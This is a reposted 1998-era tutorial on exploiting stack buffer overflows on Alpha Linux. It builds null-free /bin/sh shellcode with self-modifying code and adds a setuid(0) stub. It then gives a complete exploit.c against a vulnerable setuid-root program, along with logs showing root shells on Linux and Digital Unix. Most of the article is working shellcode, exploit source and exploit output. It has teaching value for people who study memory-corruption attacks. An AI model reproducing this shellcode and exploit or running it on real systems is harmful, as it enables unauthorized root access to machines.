· 网络编程· 网页设计· 图形图像· 网站联盟· 数 据 库· 站长时代· 业界资讯· 网站运营· 黑客攻防· 电脑技巧

站长资讯 News
· 网络基础 · 入侵检测
· 编程相关 · 安全相关
热门文章
· FlashMdy快乐行
· 什么是Web3.0
· The World浏览器秘技..
· 游荡在个人网站大潮..
· ASP中Request对象获..
· 今日(2006-11-26)域..
· 实战 FastCGI_2. 安..
· 黑客入侵“在线影院..
· [图文] 认识FrontPag..
· [图文] 谢文写诗袒露..
相关文章
· Linux比Windows更易..
· Linux 服务器的安全..
· 如何量身定制安全的..
· Linux与Windows的安..
· 解析Linux环境中黑客..
· WIBU-SYSTEMS全新安..
· 你的Linux安全吗?L..
· 网管守则之linux安全..
· 找回Redhat Linux7...
· 详细解读与分析Linu..
您当前的位置:资源库 -> 黑客攻防 -> 安全相关 -> 文章内容
Buffer overflow exploit in the alpha linux
作者:佚名  来源:不详  发布时间:2005-7-12 18:01:53  发布人:admin

减小字体 增大字体

-------------------------------------------------------------------------------
-------------------------------------------------------------------------------
-------------------------------------------------------------------------------



Buffer overflow exploit in the alpha linux


Written by Taeho Oh ( ohhara@postech.edu )
----------------------------------------------------------------------------
Taeho Oh ( ohhara@postech.edu ) http://postech.edu/~ohhara
PLUS ( Postech Laboratory for Unix Security )http://postech.edu/plus
PosLUG ( Postech Linux User Group )http://postech.edu/group/poslug
----------------------------------------------------------------------------


1. Introduction
There are many exploit code of buffer overflow. However, almost all codes
works well only in the intel x86 linux. This paper will attempt to explain
how you exploit same bug in the alpha linux.

2. What do you have to know before reading?
You have to know assembly language, C language, and Linux. Of course, you
have to know what buffer overflow is. You can get the information of the
buffer overflow in phrack 49-14 ( Smashing The Stack For Fun And Profit
by Aleph1 ). It is a wonderful paper of buffer overflow and I highly recommend
you to read that before reading this one.

3. The registers of alpha linux
You have to know how much registers alpha has to make a shellcode. :)
All registers have 64 bits.

Registers of alpha
----------------------------------------------------------------------------
$0v0
$1t0
$2t1
$3t2
$4t3
$5t4
$6t5
$7t6
$8t7
$9s0
$10s1
$11s2
$12s3
$13s4
$14s5
$15fp
$16a0
$17a1
$18a2
$19a3
$20a4
$21a5
$22t8
$23t9
$24t10
$25t11
$26ra
$27t12
$28at
$29gp
$30sp
$31zero
$32pc
$33vfp
----------------------------------------------------------------------------

4. Make a simple shellcode
Now, you will make a simple shellcode. You need not think about '\0'
character now. Because you can modify and remove '\0' character later.

shellcodeasm.c
----------------------------------------------------------------------------
#include<stdio.h>
main()
{
  char *name[2];
  name[0]="/bin/sh";
  name[1]=NULL;
  execve(name[0],name,NULL);
}
----------------------------------------------------------------------------

compile and disassemble
----------------------------------------------------------------------------
[ ohhara@ohhara ~ ] $ gcc -o shellcodeasm -static shellcodeasm.c
[ ohhara@ohhara ~ ] $ gdb shellcodeasm
GNU gdb 4.17.0.4 with Linux/x86 hardware watchpoint and FPU support
Copyright 1998 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.Type "show warranty" for details.
This GDB was configured as "alpha-redhat-linux"...
(gdb) disassemble main
Dump of assembler code for function main:
0x1200001e8 <main>: ldahgp,18(t12)
0x1200001ec <main+4>: lda gp,30704(gp)
0x1200001f0 <main+8>: lda sp,-32(sp)
0x1200001f4 <main+12>:stq ra,0(sp)
0x1200001f8 <main+16>:stq fp,8(sp)
0x1200001fc <main+20>:mov sp,fp
0x120000200 <main+24>:ldq t0,-30952(gp)
0x120000204 <main+28>:stq t0,16(fp)
0x120000208 <main+32>:stq zero,24(fp)
0x12000020c <main+36>:ldq a0,16(fp)
0x120000210 <main+40>:addqfp,0x10,a1
0x120000214 <main+44>:clr a2
0x120000218 <main+48>:ldq t12,-32456(gp)
0x12000021c <main+52>:jsr ra,(t12),0x120007180 <__execve>
0x120000220 <main+56>:ldahgp,18(ra)
0x120000224 <main+60>:lda gp,30648(gp)
0x120000228 <main+64>:mov fp,sp
0x12000022c <main+68>:ldq ra,0(sp)
0x120000230 <main+72>:ldq fp,8(sp)
0x120000234 <main+76>:addqsp,0x20,sp
0x120000238 <main+80>:ret zero,(ra),0x1
End of assembler dump.
(gdb) disassemble execve
Dump of assembler code for function __execve:
0x120007180 <__execve>: lda v0,59(zero)
0x120007184 <__execve+4>: callsys
0x120007188 <__execve+8>: bne a3,0x120007190 <__execve+16>
0x12000718c <__execve+12>:ret zero,(ra),0x1
0x120007190 <__execve+16>:brgp,0x120007194 <__execve+20>
0x120007194 <__execve+20>:ldahgp,18(gp)
0x120007198 <__execve+24>:lda gp,2116(gp)
0x12000719c <__execve+28>:ldq t12,-31592(gp)
0x1200071a0 <__execve+32>:
  jmp zero,(t12),0x120007738 <__syscall_error>
End of assembler dump.
(gdb)
----------------------------------------------------------------------------

Now, you can know the condition to execute the "/bin/sh".

To execute "/bin/sh"
----------------------------------------------------------------------------
a0($16) = The address of "/bin/sh\0"
a1($17) = The address of the address of "/bin/sh\0"
a2($18) = 0
v0($0) = 59
callsys
----------------------------------------------------------------------------

With this information, you can make a shellcode very easily.

testsc1.c
----------------------------------------------------------------------------
char shellcode[]=
  "\x30\x15\xd9\x43"/* subq $30,200,$16 */
  "\x31\x15\xd8\x43"/* subq $30,192,$17 */
  "\x12\x04\xff\x47"/* clr $18*/
  "\x40\xff\x1e\xb6"/* stq $16,-192($30)*/
  "\x48\xff\xfe\xb7"/* stq $31,-184($30)*/
  "\x68\x00\x7f\x26"/* ldah $19,0x0068($31) */
  "\x2f\x73\x73\x22"/* lda $19,0x732f($19)*/
  "\x3c\xff\x7e\xb2"/* stl $19,-196($30)*/
  "\x69\x6e\x7f\x26"/* ldah $19,0x6e69($31) */
  "\x2f\x62\x73\x22"/* lda $19,0x622f($19)*/
  "\x38\xff\x7e\xb2"/* stl $19,-200($30)*/
  "\x3b\x00\x1f\x20"/* lda $0,59($31) */
  "\x83\x00\x00\x00"; /* callsys*/

typedef void (*F)();

main()
{
  F fp;
  fp=(F)(&shellcode);
  fp();
}
----------------------------------------------------------------------------

You may be frightened at the code. Don't worry. There is a line by line
explanation. :)

testsc1.c shellcode line by line explanation
----------------------------------------------------------------------------
char shellcode[]=

  "\x30\x15\xd9\x43"/* subq $30,200,$16 */
  /* $16 = $30 - 200*/
  /* $30 is stack pointer. To point "/bin/sh\0",*/
  /* shellcode needs free memory space. $30 - 200 may be*/
  /* free. :) "/bin/sh\0" character string will be stored */
  /* in the $30 - 200 address. To execute "/bin/sh", $16*/
  /* have to point to "/bin/sh\0" */
  /* The 'q' of the 'subq' means 64 bit.*/

  "\x31\x15\xd8\x43"/* subq $30,192,$17 */
  /* $17 = $30 - 192*/
  /* To execute "/bin/sh", $17 have to point to the */
  /* address of "/bin/sh\0". The address of "/bin/sh\0" */
  /* will be stored in the $30 - 192 address. */

  "\x12\x04\xff\x47"/* clr $18*/
  /* Clear $18 register. To execute "/bin/sh" $18 */
  /* register must be 0.*/

  "\x40\xff\x1e\xb6"/* stq $16,-192($30)*/
  /* Store the address of "/bin/sh\0" in the $30 - 192*/
  /* address. */

  "\x48\xff\xfe\xb7"/* stq $31,-184($30)*/
  /* Make 0 in the address of $30 - 184.*/

  "\x68\x00\x7f\x26"/* ldah $19,0x0068($31) */
  /* $19 = 0x00680000 */
  /* $31 is always 0*/

  "\x2f\x73\x73\x22"/* lda $19,0x732f($19)*/
  /* $19 = 0x0068732f */
  /* $19 = "/sh\0"*/
  /* Because alpha is little endian.*/

  "\x3c\xff\x7e\xb2"/* stl $19,-196($30)*/
  /* Store $19 in $30 - 196 address.*/
  /* $30 - 196 = "/sh\0"*/
  /* The 'l' of the 'stl' means 32 bit*/

  "\x69\x6e\x7f\x26"/* ldah $19,0x6e69($31) */
  /* $19 = 0x6e690000 */

  "\x2f\x62\x73\x22"/* lda $19,0x622f($19)*/
  /* $19 = 0x6e69622f */
  /* $19 = "/bin" */

  "\x38\xff\x7e\xb2"/* stl $19,-200($30)*/
  /* Store $19 in $30 - 200 address.*/
  /* $30 - 200 = "/bin" */

  "\x3b\x00\x1f\x20"/* lda $0,59($31) */
  /* $0 = 59*/
  /* To execute "/bin/sh" $0 must be 59 */

  "\x83\x00\x00\x00"; /* callsys*/
  /* System call*/
  /* Execute "/bin/sh"*/
----------------------------------------------------------------------------

compile and execute testsc1.c
----------------------------------------------------------------------------
[ ohhara@ohhara ~ ] $ gcc testsc1.c -o testsc1
[ ohhara@ohhara ~ ] $ ./testsc1
bash$
----------------------------------------------------------------------------

Now, you have a shellcode of alpha linux. However, you can't use it to exploit
the vulnerable programs. Because the shellcode has many '\0' characters.
You have to remove all of '\0' character to use buffer overflow exploit.

5. Try to remove '\0' character in the shellcode

You can remove '\0' characters by changing the instructions to other
instructions which works same.

remove '\0' character
----------------------------------------------------------------------------
from

"\x68\x00\x7f\x26"/* ldah $19,0x0068($31) */
"\x2f\x73\x73\x22"/* lda $19,0x732f($19)*/

to

"\x98\xff\x7f\x26"/* ldah $19,0xff98($31) */
"\xd0\x8c\x73\x22"/* lda $19,0x8cd0($19)*/
"\x13\x05\xf3\x47"/* ornot $31,$19,$19*/
----------------------------------------------------------------------------

One '\0' is removed.

----------------------------------------------------------------------------
from

"\x3b\x00\x1f\x20"/* lda $0,59($31) */

to

"\x13\x94\xe7\x43"/* addq $31,60,$19*/
"\x20\x35\x60\x42"/* subq $19,1,$0*/
----------------------------------------------------------------------------

Two '\0' are removed.

improved shellcode
----------------------------------------------------------------------------
char shellcode[]=
  "\x30\x15\xd9\x43"/* subq $30,200,$16 */
  "\x31\x15\xd8\x43"/* subq $30,192,$17 */
  "\x12\x04\xff\x47"/* clr $18*/
  "\x40\xff\x1e\xb6"/* stq $16,-192($30)*/
  "\x48\xff\xfe\xb7"/* stq $31,-184($30)*/
  "\x98\xff\x7f\x26"/* ldah $19,0xff98($31) */
  "\xd0\x8c\x73\x22"/* lda $19,0x8cd0($19)*/
  "\x13\x05\xf3\x47"/* ornot $31,$19,$19*/
  "\x3c\xff\x7e\xb2"/* stl $19,-196($30)*/
  "\x69\x6e\x7f\x26"/* ldah $19,0x6e69($31) */
  "\x2f\x62\x73\x22"/* lda $19,0x622f($19)*/
  "\x38\xff\x7e\xb2"/* stl $19,-200($30)*/
  "\x13\x94\xe7\x43"/* addq $31,60,$19*/
  "\x20\x35\x60\x42"/* subq $19,1,$0*/
  "\x83\x00\x00\x00"; /* callsys*/
----------------------------------------------------------------------------

compile and execute testsc2.c
----------------------------------------------------------------------------
[ ohhara@ohhara ~ ] $ gcc testsc2.c -o testsc2
[ ohhara@ohhara ~ ] $ ./testsc2
bash$
----------------------------------------------------------------------------

You have only one instruction to remove, now. But it's difficult to remove.
Because callsys insturction must be used to execute "/bin/sh" and callsys
contains three '\0' characters. You have to insert the code which modifies the
shellcode itself to use callsys instruction.

6. Try to remove ALL '\0' character in the shellcode

You have to remove '\0' character of callsys instruction.

final shellcode
----------------------------------------------------------------------------
char shellcode[]=
  "\x30\x15\xd9\x43"/* subq $30,200,$16 */
  /* $16 = $30 - 200
  /* $16 must have the shellcode address. However, before */
  /* the bsr instruction, $16 can't have the address. */
  /* This instruction just store the meaningless address. */
  /* The all instruction before bsr are meaningless.*/

  "\x11\x74\xf0\x47"/* bis $31,0x83,$17 */
  /* $17 = 0 or 0x83*/
  /* $17 = 0x83 */

  "\x12\x94\x07\x42"/* addq $16,60,$18*/
  "\xfc\xff\x32\xb2"/* stl $17,-4($18)*/
  /* $17("\x83\x00\x00\x00") is stored in $16 + 60 - 4*/
  /* address. */
  /* ( "\xff\xff\xff\xff" -> "\x83\x00\x00\x00" ) */

  "\xff\x47\x3f\x26"/* ldah $17,0x47ff($31) */
  "\x1f\x04\x31\x22"/* lda $17,0x041f($17)*/
  /* $17 = "\x1f\x04\xff\x47" */
  /* "\x1f\x04\xff\x47" is nop instruction. */

  "\xfc\xff\x30\xb2"/* stl $17,-4($16)*/
  /* change "bsr $16,-28" instruction" into nop */
  /* instruction to pass through the bsr instruction. */
  /* ( "\xf9\xff\x1f\xd2" -> "\x1f\x04\xff\x47" ) */

  "\xf9\xff\x1f\xd2"/* bsr $16,-28*/
  /* Jump to "bis $31,0x83,$17" and store the current */
  /* address in the $16.*/
  /* After jump, this insturction will be changed into*/
  /* nop instruction. */

  "\x30\x15\xd9\x43"/* subq $30,200,$16 */
  "\x31\x15\xd8\x43"/* subq $30,192,$17 */
  "\x12\x04\xff\x47"/* clr $18*/
  "\x40\xff\x1e\xb6"/* stq $16,-192($30)*/
  "\x48\xff\xfe\xb7"/* stq $31,-184($30)*/
  "\x98\xff\x7f\x26"/* ldah $19,0xff98($31) */
  "\xd0\x8c\x73\x22"/* lda $19,0x8cd0($19)*/
  "\x13\x05\xf3\x47"/* ornot $31,$19,$19*/
  "\x3c\xff\x7e\xb2"/* stl $19,-196($30)*/
  "\x69\x6e\x7f\x26"/* ldah $19,0x6e69($31) */
  "\x2f\x62\x73\x22"/* lda $19,0x622f($19)*/
  "\x38\xff\x7e\xb2"/* stl $19,-200($30)*/
  "\x13\x94\xe7\x43"/* addq $31,60,$19*/
  "\x20\x35\x60\x42"/* subq $19,1,$0*/

  "\xff\xff\xff\xff"; /* callsys ( disguised )*/
  /* This will be changed to "\x83\x00\x00\x00" */
----------------------------------------------------------------------------

compile and execute testsc3.c
----------------------------------------------------------------------------
[ ohhara@ohhara ~ ] $ gcc testsc3.c -o testsc3
[ ohhara@ohhara ~ ] $ ./testsc3
bash$
----------------------------------------------------------------------------

7. Insert setuid(0) code in the shellcode.

You may not get the rootshell with your shellcode by overflowing the
vulnerable setuid root program. You have to insert setuid(0) code into the
shellcode.

setuidasm.c
----------------------------------------------------------------------------
main()
{
  setuid(0);
}
----------------------------------------------------------------------------

compile and disassemble
----------------------------------------------------------------------------
[ ohhara@ohhara ~ ] $ gcc -o setuidasm -static setuidasm.c
[ ohhara@ohhara ~ ] $ gdb setuidasm
GNU gdb 4.17.0.4 with Linux/x86 hardware watchpoint and FPU support
Copyright 1998 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.Type "show warranty" for details.
This GDB was configured as "alpha-redhat-linux"...
(gdb) disassemble main
Dump of assembler code for function main:
0x1200001e8 <main>: ldahgp,18(t12)
0x1200001ec <main+4>: lda gp,30696(gp)
0x1200001f0 <main+8>: lda sp,-16(sp)
0x1200001f4 <main+12>:stq ra,0(sp)
0x1200001f8 <main+16>:stq fp,8(sp)
0x1200001fc <main+20>:mov sp,fp
0x120000200 <main+24>:clr a0
0x120000204 <main+28>:ldq t12,-31056(gp)
0x120000208 <main+32>:jsr ra,(t12),0x120007180 <__setuid>
0x12000020c <main+36>:ldahgp,18(ra)
0x120000210 <main+40>:lda gp,30660(gp)
0x120000214 <main+44>:mov fp,sp
0x120000218 <main+48>:ldq ra,0(sp)
0x12000021c <main+52>:ldq fp,8(sp)
0x120000220 <main+56>:addqsp,0x10,sp
0x120000224 <main+60>:ret zero,(ra),0x1
End of assembler dump.
(gdb) disassemble setuid
Dump of assembler code for function __setuid:
0x120007180 <__setuid>: lda v0,23(zero)
0x120007184 <__setuid+4>: callsys
0x120007188 <__setuid+8>: bne a3,0x120007190 <__setuid+16>
0x12000718c <__setuid+12>:ret zero,(ra),0x1
0x120007190 <__setuid+16>:brgp,0x120007194 <__setuid+20>
0x120007194 <__setuid+20>:ldahgp,18(gp)
0x120007198 <__setuid+24>:lda gp,2108(gp)
0x12000719c <__setuid+28>:ldq t12,-31600(gp)
0x1200071a0 <__setuid+32>:
  jmp zero,(t12),0x120007738 <__syscall_error>
End of assembler dump.
(gdb)
----------------------------------------------------------------------------

Now, you can know the condition to setuid(0).

To setuid(0)
----------------------------------------------------------------------------
a0($16) = 0
v0($0) = 23
callsys
----------------------------------------------------------------------------

This contains callsys instruction. So you have to remove '\0' of the setuid(0)
code, too.

testsc4.c
----------------------------------------------------------------------------
char shellcode[]=
  "\x30\x15\xd9\x43"/* subq $30,200,$16 */
  "\x11\x74\xf0\x47"/* bis $31,0x83,$17 */
  "\x12\x14\x02\x42"/* addq $16,16,$18*/
  "\xfc\xff\x32\xb2"/* stl $17,-4($18)*/
  "\x12\x94\x09\x42"/* addq $16,76,$18*/
  "\xfc\xff\x32\xb2"/* stl $17,-4($18)*/
  "\xff\x47\x3f\x26"/* ldah $17,0x47ff($31) */
  "\x1f\x04\x31\x22"/* lda $17,0x041f($17)*/
  "\xfc\xff\x30\xb2"/* stl $17,-4($16)*/
  "\xf7\xff\x1f\xd2"/* bsr $16,-32*/
  "\x10\x04\xff\x47"/* clr $16*/
  "\x11\x14\xe3\x43"/* addq $31,24,$17*/
  "\x20\x35\x20\x42"/* subq $17,1,$0*/
  "\xff\xff\xff\xff"/* callsys ( disguised )*/
  "\x30\x15\xd9\x43"/* subq $30,200,$16 */
  "\x31\x15\xd8\x43"/* subq $30,192,$17 */
  "\x12\x04\xff\x47"/* clr $18*/
  "\x40\xff\x1e\xb6"/* stq $16,-192($30)*/
  "\x48\xff\xfe\xb7"/* stq $31,-184($30)*/
  "\x98\xff\x7f\x26"/* ldah $19,0xff98($31) */
  "\xd0\x8c\x73\x22"/* lda $19,0x8cd0($19)*/
  "\x13\x05\xf3\x47"/* ornot $31,$19,$19*/
  "\x3c\xff\x7e\xb2"/* stl $19,-196($30)*/
  "\x69\x6e\x7f\x26"/* ldah $19,0x6e69($31) */
  "\x2f\x62\x73\x22"/* lda $19,0x622f($19)*/
  "\x38\xff\x7e\xb2"/* stl $19,-200($30)*/
  "\x13\x94\xe7\x43"/* addq $31,60,$19*/
  "\x20\x35\x60\x42"/* subq $19,1,$0*/
  "\xff\xff\xff\xff"; /* callsys ( disguised )*/

typedef void (*F)();

main()
{
  F fp;
  fp=(F)(&shellcode);
  fp();
}
----------------------------------------------------------------------------

If you read this paper, you can recognize what testsc4.c do. :)

compile and execute testsc4.c
----------------------------------------------------------------------------
[ ohhara@ohhara ~ ] $ gcc testsc4.c -o testsc4
[ ohhara@ohhara ~ ] $ ./testsc4
bash$
----------------------------------------------------------------------------

8. Exploit a vulnerable setuid root program

You can exploit a classic vulnernable program in the alpha linux. This
is an example.

vulnerable.c
----------------------------------------------------------------------------
#include<stdio.h>
#include<string.h>

void vulfunc(char *buf)
{
  char localbuf[1024];
  strcpy(localbuf+1,buf);
}

main(int argc,char **argv)
{
  if(argc>1)
  vulfunc(argv[1]);
}
----------------------------------------------------------------------------

You can't change the return address of the vulfunc function. When you try
to overflow the localbuf of vulfunc, you can change the return address of
the main function. ( It's similar to the stack of the sparc. )
Because the localbuf is stored after the vulfunc return address. The intel
x86 is that localbuf is stored before the vulfunc return address.
Therefore, by overflowing localbuf in the intel x86, localbuf can change
the return address of vulfunc function. However, in the alpha, localbuf can't
change the return address of vulfunc function and can change the return address
of the main function.

To execute the instruction, the code must be well aligned. For example,
the instruction can be located in 0x120000000 and 0x120000004 and can't be
located in 0x120000001, 0x120000002, and 0x120000003. ( step by 4 )

The address of alpha is 64 bit. Almost all cases, the address of stack
is looks like 0x000000011fffff24. The address has many '\0' characters.
Therefore, you can't insert many return addresses in the buffer. You must
insert only one. So you must know the location of the return address exactly.
It's not difficult to find that. Because the location of the return address
is decided at the compile time.

exploit.c
----------------------------------------------------------------------------
#include<stdio.h>
#include<string.h>

#define OFFSET0
#define ALIGN 3 /* 0, 1, 2, 3 */
#define RET_POSITION 1028 /* 0, 4, 8, 12, . . . */
#define NOP"\x1f\x04\xff\x47"

char shellcode[]=
  "\x30\x15\xd9\x43"/* subq $30,200,$16 */
  "\x11\x74\xf0\x47"/* bis $31,0x83,$17 */
  "\x12\x14\x02\x42"/* addq $16,16,$18*/
  "\xfc\xff\x32\xb2"/* stl $17,-4($18)*/
  "\x12\x94\x09\x42"/* addq $16,76,$18*/
  "\xfc\xff\x32\xb2"/* stl $17,-4($18)*/
  "\xff\x47\x3f\x26"/* ldah $17,0x47ff($31) */
  "\x1f\x04\x31\x22"/* lda $17,0x041f($17)*/
  "\xfc\xff\x30\xb2"/* stl $17,-4($16)*/
  "\xf7\xff\x1f\xd2"/* bsr $16,-32*/
  "\x10\x04\xff\x47"/* clr $16*/
  "\x11\x14\xe3\x43"/* addq $31,24,$17*/
  "\x20\x35\x20\x42"/* subq $17,1,$0*/
  "\xff\xff\xff\xff"/* callsys ( disguised )*/
  "\x30\x15\xd9\x43"/* subq $30,200,$16 */
  "\x31\x15\xd8\x43"/* subq $30,192,$17 */
  "\x12\x04\xff\x47"/* clr $18*/
  "\x40\xff\x1e\xb6"/* stq $16,-192($30)*/
  "\x48\xff\xfe\xb7"/* stq $31,-184($30)*/
  "\x98\xff\x7f\x26"/* ldah $19,0xff98($31) */
  "\xd0\x8c\x73\x22"/* lda $19,0x8cd0($19)*/
  "\x13\x05\xf3\x47"/* ornot $31,$19,$19*/
  "\x3c\xff\x7e\xb2"/* stl $19,-196($30)*/
  "\x69\x6e\x7f\x26"/* ldah $19,0x6e69($31) */
  "\x2f\x62\x73\x22"/* lda $19,0x622f($19)*/
  "\x38\xff\x7e\xb2"/* stl $19,-200($30)*/
  "\x13\x94\xe7\x43"/* addq $31,60,$19*/
  "\x20\x35\x60\x42"/* subq $19,1,$0*/
  "\xff\xff\xff\xff"; /* callsys ( disguised )*/

unsigned long get_sp(void)
{
  __asm__("bis $31,$30,$0");
}

int main(int argc,char **argv)
{
  char buff[RET_POSITION+8+ALIGN+1],*ptr;
  char *nop;
  int offset=OFFSET,bsize=RET_POSITION+8+ALIGN+1;
  unsigned long sp,addr;
  int i;

  if(argc>1)
  offset=atoi(argv[1]);

  nop=NOP;

  for(i=0;i<bsize;i++)
  buff[i]='a';

  for(i=0;i<bsize;i++)
  buff[i+ALIGN]=nop[i%4];

  sp=get_sp();
  addr=sp-offset;

  ptr=buff+bsize-strlen(shellcode)-8-1;
  for(i=0;i<strlen(shellcode);i++)
  *(ptr++)=shellcode[i];

  buff[RET_POSITION+ALIGN]=(addr&0x00000000000000ff);
  buff[RET_POSITION+ALIGN+1]=(addr&0x000000000000ff00)>>8;
  buff[RET_POSITION+ALIGN+2]=(addr&0x0000000000ff0000)>>16;
  buff[RET_POSITION+ALIGN+3]=(addr&0x00000000ff000000)>>24;
  buff[RET_POSITION+ALIGN+4]=(addr&0x000000ff00000000)>>32;
  buff[RET_POSITION+ALIGN+5]=(addr&0x0000ff0000000000)>>40;
  buff[RET_POSITION+ALIGN+6]=(addr&0x00ff000000000000)>>48;
  buff[RET_POSITION+ALIGN+7]=(addr&0xff00000000000000)>>56;

  buff[bsize-1]='\0';

  printf("Jump to 0x%016x\n",addr);
 
  execl("./vulnerable","vulnerable",buff,NULL);
}
----------------------------------------------------------------------------

exploit the vulnerable program in the alpha linux
----------------------------------------------------------------------------
[ ohhara@ohhara ~ ] $ uname -a
Linux ohhara.postech.ac.kr 2.0.35 #11 Mon Oct 19 22:58:15 EDT 1998 alpha unknown
[ ohhara@ohhara ~ ] $ ls -l vulnerable
-rwsr-xr-x 1 root root13906 Nov 13 14:55 vulnerable*
[ ohhara@ohhara ~ ] $ ls -l exploit
-rwxrwxr-x 1 ohhara ohhara15541 Nov 13 18:22 exploit*
[ ohhara@ohhara ~ ] $ ./exploit
Jump to 0x000000001ffff6c8
Illegal instruction
[ ohhara@ohhara ~ ] $ ./exploit 400
Jump to 0x000000001ffff530
bash# whoami
root
bash#
----------------------------------------------------------------------------

exploit the vulnerable program in the digital unix ( same source files )
----------------------------------------------------------------------------
[ ohhara@ohhara ~ ] $ uname -a
OSF1 monsky.postech.ac.kr V4.0 464 alpha
[ ohhara@ohhara ~ ] $ ls -l vulnerable
-rwsr-xr-x 1 root system 24576 Nov 13 20:31 vulnerable*
[ ohhara@ohhara ~ ] $ ls -l exploit
-rwxr-xr-x 1 ohhara system 24576 Nov 13 20:31 exploit*
[ ohhara@ohhara ~ ] $ ./exploit
Jump to 0x000000001ffff030
# whoami
root
#
----------------------------------------------------------------------------

the buffer overflow data
----------------------------------------------------------------------------
  061 61 61 1f 04 ff 47 1f 04 ff 47 1f 04 ff 47 1faaa...G...G...G.
 1604 ff 47 1f 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f..G...G...G...G.
 3204 ff 47 1f 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f..G...G...G...G.
 4804 ff 47 1f 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f..G...G...G...G.
 6404 ff 47 1f 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f..G...G...G...G.
 8004 ff 47 1f 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f..G...G...G...G.
 9604 ff 47 1f 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f..G...G...G...G.
  11204 ff 47 1f 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f..G...G...G...G.
  12804 ff 47 1f 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f..G...G...G...G.
  14404 ff 47 1f 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f..G...G...G...G.
  16004 ff 47 1f 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f..G...G...G...G.
  17604 ff 47 1f 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f..G...G...G...G.
  19204 ff 47 1f 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f..G...G...G...G.
  20804 ff 47 1f 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f..G...G...G...G.
  22404 ff 47 1f 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f..G...G...G...G.
  24004 ff 47 1f 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f..G...G...G...G.
  25604 ff 47 1f 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f..G...G...G...G.
  27204 ff 47 1f 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f..G...G...G...G.
  28804 ff 47 1f 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f..G...G...G...G.
  30404 ff 47 1f 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f..G...G...G...G.
  32004 ff 47 1f 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f..G...G...G...G.
  33604 ff 47 1f 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f..G...G...G...G.
  35204 ff 47 1f 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f..G...G...G...G.
  36804 ff 47 1f 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f..G...G...G...G.
  38404 ff 47 1f 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f..G...G...G...G.
  40004 ff 47 1f 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f..G...G...G...G.
  41604 ff 47 1f 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f..G...G...G...G.
  43204 ff 47 1f 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f..G...G...G...G.
  44804 ff 47 1f 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f..G...G...G...G.
  46404 ff 47 1f 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f..G...G...G...G.
  48004 ff 47 1f 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f..G...G...G...G.
  49604 ff 47 1f 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f..G...G...G...G.
  51204 ff 47 1f 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f..G...G...G...G.
  52804 ff 47 1f 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f..G...G...G...G.
  54404 ff 47 1f 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f..G...G...G...G.
  56004 ff 47 1f 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f..G...G...G...G.
  57604 ff 47 1f 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f..G...G...G...G.
  59204 ff 47 1f 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f..G...G...G...G.
  60804 ff 47 1f 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f..G...G...G...G.
  62404 ff 47 1f 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f..G...G...G...G.
  64004 ff 47 1f 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f..G...G...G...G.
  65604 ff 47 1f 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f..G...G...G...G.
  67204 ff 47 1f 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f..G...G...G...G.
  68804 ff 47 1f 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f..G...G...G...G.
  70404 ff 47 1f 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f..G...G...G...G.
  72004 ff 47 1f 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f..G...G...G...G.
  73604 ff 47 1f 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f..G...G...G...G.
  75204 ff 47 1f 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f..G...G...G...G.
  76804 ff 47 1f 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f..G...G...G...G.
  78404 ff 47 1f 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f..G...G...G...G.
  80004 ff 47 1f 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f..G...G...G...G.
  81604 ff 47 1f 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f..G...G...G...G.
  83204 ff 47 1f 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f..G...G...G...G.
  84804 ff 47 1f 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f..G...G...G...G.
  86404 ff 47 1f 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f..G...G...G...G.
